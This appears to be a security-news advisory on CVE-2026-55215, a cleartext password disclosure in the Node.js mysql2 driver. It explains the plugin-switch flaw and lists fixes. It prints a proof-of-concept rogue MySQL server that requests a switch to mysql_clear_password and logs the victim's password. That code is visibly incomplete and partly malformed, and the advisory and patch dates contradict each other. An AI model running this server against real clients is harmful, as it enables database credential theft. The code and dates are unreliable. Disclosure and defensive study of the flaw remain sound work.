mysql2, Cleartext Password Disclosure, CVE-2026-55215 (High) -DC-Sep2026-2057

Listen to this Post

How CVE-2026-55215 Works

The vulnerability resides in how the mysql2 driver handles authentication plugin switching. When a MySQL server initiates a connection, it advertises its preferred authentication plugin during the handshake. The client responds with the appropriate authentication data. However, the MySQL protocol allows the server to send an `AuthSwitchRequest` (packet type 0xFE) at any point during authentication, instructing the client to switch to a different plugin.
In mysql2, the `mysql_clear_password` authentication plugin is registered as a default standard plugin in `lib/commands/auth_switch.js` (line 21). When the server sends an `AuthSwitchRequest` requesting mysql_clear_password, the driver executes the switch without verifying that the connection is encrypted with TLS. The plugin implementation in `lib/auth_plugins/mysql_clear_password.js` simply returns `Buffer.from(password + ‘\0’)` — the password in plaintext with a null terminator.
The critical flaw is the absence of a security guard. By contrast, the `caching_sha2_password` plugin does check for SSL before sending cleartext credentials (line 77). But `mysql_clear_password` has no such protection.

Attack Scenario:

  1. Attacker operates a rogue MySQL server or performs a Man-in-the-Middle (MITM) attack on the network path.
  2. The rogue server advertises `caching_sha2_password` during the initial handshake.
  3. The client sends a hashed authentication response as expected.
  4. The server then replies with an `AuthSwitchRequest` packet, instructing the client to switch to mysql_clear_password.
  5. The mysql2 driver complies without checking TLS status and sends the password in plaintext.

6. The attacker captures the plaintext password.

When TLS is enabled without a pinned CA or server certificate, the driver sends credentials before completing certificate fingerprint validation. In lib/cmd/handshake/auth/handshake.js, a server that selects `mysql_clear_password` as the initial authentication plugin can receive the password before the post-TLS identity check. An active MITM can present a self-signed certificate, capture the database password, and use it to authenticate directly — even though the connector later rejects the server and closes the connection.

DailyCVE Form:

Platform: Node.js mysql2
Version: <3.22.0
Vulnerability: Cleartext password disclosure
Severity: High (CVSS 7.5)
Date: 2026-08-28

Prediction: 2026-04-09 (patch released in v3.22.0)

What Undercode Say:

Vulnerable Code Path:

– `lib/commands/auth_switch.js` (line 21) — registers `mysql_clear_password` as default
– `lib/auth_plugins/mysql_clear_password.js` — returns `Buffer.from(password + ‘\0’)` without TLS check
– `lib/cmd/handshake/auth/handshake.js` — sends credentials before certificate validation

Bash Commands to Check Version:

npm list mysql2
or
cat package.json | grep mysql2

PoC – Rogue MySQL Server (Educational Purposes!):

// Rogue MySQL server that captures plaintext passwords from mysql2 clients
const net = require('net');
const server = net.createServer((socket) => {
// Initial handshake packet advertising caching_sha2_password
const handshake = Buffer.from([
// Protocol version, server version, etc.
// ... (simplified for demonstration)
0x0a, 0x35, 0x2e, 0x37, 0x2e, 0x33, 0x33, 0x00, // 5.7.33
// ... thread ID, salt, etc.
// Capability flags including CLIENT_PLUGIN_AUTH
// Authentication plugin: caching_sha2_password
]);
socket.write(handshake);
socket.on('data', (data) => {
// Client sends hashed response for caching_sha2_password
// Server responds with AuthSwitchRequest to mysql_clear_password
const authSwitch = Buffer.from([
0xfe, // AuthSwitchRequest
0x00, 0x00, 0x00, 0x00, // (packet length placeholder)
0x6d, 0x79, 0x73, 0x71, 0x6c, 0x5f, 0x63, 0x6c, 0x65, 0x61, 0x72, 0x5f,
0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x00, // "mysql_clear_password"
0x00 // empty salt
]);
socket.write(authSwitch);
// Client now sends password in plaintext — capture it!
socket.on('data', (pwd) => {
console.log('CAPTURED PASSWORD:', pwd.toString().replace(/\0/g, ''));
});
});
});
server.listen(3306, () => {
console.log('Rogue MySQL server listening on port 3306');
});

Protection from CVE-2026-55215:

  1. Upgrade to mysql2 v3.22.0 or later — this version disables `mysql_clear_password` by default
  2. Enable TLS with proper certificate validation — set `ssl` options with `rejectUnauthorized: true`
    3. Use Unix sockets for local connections when possible
  3. Set `enableCleartextPlugin: false` (default in v3.22.0+) to prevent cleartext auth
  4. Pin CA or server certificate to prevent MITM attacks

Impact:

  • mysql2 has 9M weekly downloads on npm
  • Any application connecting without TLS is vulnerable to credential theft
  • Cloud environments with untrusted network paths are especially at risk
  • Exposed passwords can lead to further compromise if reused elsewhere

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top